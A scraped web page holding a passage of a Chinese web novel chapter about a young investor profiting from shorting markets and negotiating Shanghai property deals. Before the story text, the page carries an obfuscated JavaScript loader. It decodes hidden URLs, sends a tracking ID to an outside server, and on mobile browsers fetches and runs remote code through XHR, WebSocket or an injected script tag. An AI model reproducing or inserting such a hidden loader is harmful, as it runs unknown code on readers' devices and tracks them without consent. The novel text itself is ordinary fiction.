足迹
我真不想努力了最新章节
登录
关灯
护眼
字体:

第147章 十一月初(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

自从时间进入十月份以来。

每个交易日早上,范连城先看美股收盘数据,并查看账户资金浮动情况。

八点半观察亚太板块跌多少,九点半再观察内地a股是否震荡,接着又去扫一眼港股表现,评估是否需要调整仓位,得到的结果往往是不用。

下午四点半准时查看欧洲股市数据,晚上九点半则等着美股开盘。

逐渐养成了习惯。

这个月以来龙城集团跌幅不小,他投资的“内地楼市全家桶”跌幅同样高达十个点以上,让范连城捞到不少钱。

当初跟他站在同一阵营的“空军”们,无论做空哪里,几乎都能挣到钱,甚至有不怕死的加了二十五倍杠杆,一战就挣足了下半辈子的养老金。

想过要撤退。

然而股市熊成这样,大多数交易日里范连城的账户页面上全都飘红,实在让他舍不得走。

账户开在资金流动更方便些的港城,和内地不同,绿涨红跌,或者说全球各个证券交易所里,只有内地是红涨绿跌。

今天又是账户页面上全部飘红的一天,因为是做空,伴随股市下跌挣大了,总收入高达九千九百多万港币,让范连城心情愉悦。

纵观大环境,挣钱的只是少数人,抄底的那些越抄越底,高位套牢的不在少数。

周二恐慌情绪略微释放后,次日美股收盘略微涨了些,然而金融板块依旧下跌,所以范连城的次贷全家桶还是继续小挣,把当天的配资成本挣回来了。

接手资产小半年,自己投资也有几个月,利润逐渐增加后,范连城愈发淡定,哪怕回吐出去一些,也不是什么大不了的事。

悦榕控股的侯平先生,显然是带着诚意过来跟范连城商谈。

上周末跟他通完电话,这家公司找到fans·江景壹号设计规划图纸,做了份比较详细的规划出来。

从室内空间风格到后期管理运营,一整套流程,摆明了是有想法合作,打算和范连城联手运营这个高端核心区住宅项目。

主动提出说,想在楼盘名字里加入悦榕,后期还能将长租公寓项目纳入悦榕控股的管理名单内,帮着介绍全球各地的客户,尤其是在魔都工作的大企业高管们入住,从房租中再抽取一定费用当做佣金,大约抽取四个点左右,派人协助管理,构建好服务体系。

比起抽成多少,范连城如今更关心等房子统一完成装修后,是否能够吸引到足够的租户,借此来弥补投入。

对双方都有好处的交易,当天就达成了一致。

约定如果楼盘由租改售、取消合作,则要赔付一定金额的违约金,象征性设定为五十万新加坡元。

陪同侯平,再次去江景壹号项目考察时候,周琦已经穿上了女式正装,进入营销管理中心工作,亲自领着范连城和侯老板到样板房里参观。

装修工作上,悦榕控股的设计师们会提供一定帮助......

——————

耿老头帮忙跟朋友打过招呼。

直到十一月份的第二周,范连城才带着两位助理,前去商量修改土地利用方案的事。

没被卡着,得知转让手续已经走完,税款也已经全部结清,姓洪的妇人二话没说就表示将手续准备齐全后,拿过来给她走流程,能帮就帮,具体会不会通过,还是得看上面的意思。

不过有世博这个重大活动在面前等着,似乎可能性比较大,发行债券八十亿,地方财政七十多亿,除此之外还有银行贷款,仅地铁建设耗资就预计多达千亿。

在这种事情面前,范连城的小心思完全不算事,只要能为活动提供帮助,多半没什么问题,何况该缴纳的土地出让金还是会给。

以为就这么轻松。

范连城想得太简单了,等到洪女士将话题扯到长风生态商务区最近的土拍上,顿时心知不妙。

坐着聊天,秦助理和老冯也来了。

冯大发试探着询问说:“那个商务区最近以天价拍出去一块地,硬是被推高到底价的四倍,被一家不知名地产公司以十一亿多拍走了,您是指那块地?”

“嗯,九月份举办土拍,它缴纳了三千万保证金,拿地价格达到一万六千五每平米,上周突然说是由于公司出现状况,保证金不要了,毁拍。”

洪女士眉头微皱,补充道:“媒体还报导过这块普陀地王,现在这不是胡闹么,之前有家家电销售公司,打算拿这块地当做分公司总部,硬是被高价逼走,去了别的地方拿地,签好的合同也黄了。刚巧近期土拍市场预冷,我们的担心是因为它被大肆炒作,等确定违约后会尽快将地收回来,安排另一次拍卖,你们龙城集团有没有兴趣?”

这就是范连城心知不妙的原因。

他点头回答说:“最近刚听说过消息,那家公司只开发过一个楼盘,脑袋发热拍下地皮之后又不要了,真有钱,三千万说扔就扔,连个响都听不见。”

“就是啊,自己损失一大笔钱,也坑了我们这的土拍市场,万一被添油加醋报导出去,楼市可就危险了,实际上压根不是那么回事。

小范总,作为本地新兴的明星企业家,考虑考虑?江边那两个盘真是大手笔,一般的上市公司都没这实力吃下去,今年白玉兰奖名单里可能就有你一个,你爸那事......范总其实真不错。”

闻言更头疼。

范连城露出个笑容,开口道:

“就是步子迈大了,现在整天头疼贷款的事呢,我接手价格那么高,后面还都搞成精装修,价格卖高点真不过分。

我这肯定没钱去拍那块地了,实不相瞒,我们龙城董事会上刚通过一项总数额三十亿左右的拿地计划,我还在研究前滩、后滩,以及周边那些土地,公司不是我一个人说了算,重新土拍的那块地我会拿到公司会议上研究,但真没本事拍胸口保证。”

来之前被老冯上了一课,学到些经验。

这会儿嘴巴不停,喘口气继续诉苦: